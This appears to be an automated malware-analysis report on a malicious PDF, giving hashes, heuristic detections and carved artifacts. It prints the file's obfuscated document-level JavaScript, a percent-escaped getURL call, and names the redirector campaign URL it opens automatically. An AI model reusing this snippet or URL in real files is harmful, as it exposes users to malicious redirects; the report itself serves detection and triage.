Malicious PDF — malware analysis report

Static analysis result for SHA-256 a2a8922109cc74bc…

MALICIOUS

PDF

54.3 KB Created: 2012-09-22 12:17:36 +04:00 Authoring application: Wordpress.com (via mPDF 5.0) First seen: 2013-01-04
MD5: 3f0cc8fcea322175f45ce18788304b48 SHA-1: 86d173676e7d151352b7c805c3e27625a576eccd SHA-256: a2a8922109cc74bc034e42c0db40a4c43ac6acf0169eec8432d013b092a59e33
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command and Shell

The PDF file exhibits suspicious characteristics, including the presence of embedded JavaScript with obfuscation indicators. The heuristic firings suggest that this JavaScript is designed to perform malicious actions, likely downloading and executing a secondary payload. The obfuscated nature of the script hinders a more precise analysis of its exact function, but its presence strongly indicates a malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9479

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN
    PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://globalsearchings.com/in.cgi?20 Referenced by PDF JavaScript
    • http://dejavu.sourceforge.netIn PDF document text
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0036_000.js pdf-javascript-stream PDF /JS object 36 at offset 0xD082 136 bytes
SHA-256: be63095b36d2a7a6bb2354eee6ea8f866bd67eb57984a872fcac65a5a9d7a885
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%67%6c%6f%62%61%6c%73%65%61%72%63%68%69%6e%67%73%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%32%30'))
stream_003_off00001624.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x1624 17756 bytes
SHA-256: ded1520fd68b91798ef4502ba393be29e6762be445da6319489229b957e57958
font_01_sfnt_off00004436.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4436 17892 bytes
SHA-256: a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf
font_02_sfnt_off00007276.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x7276 18720 bytes
SHA-256: 4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516
font_03_sfnt_off0000a503.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xA503 18756 bytes
SHA-256: e3eeacc5b1f780160b253f248c40fb29e5cb6416f62dd9413712ea70c37f26c9

Open this report in the interactive analyzer, or submit your own file for analysis.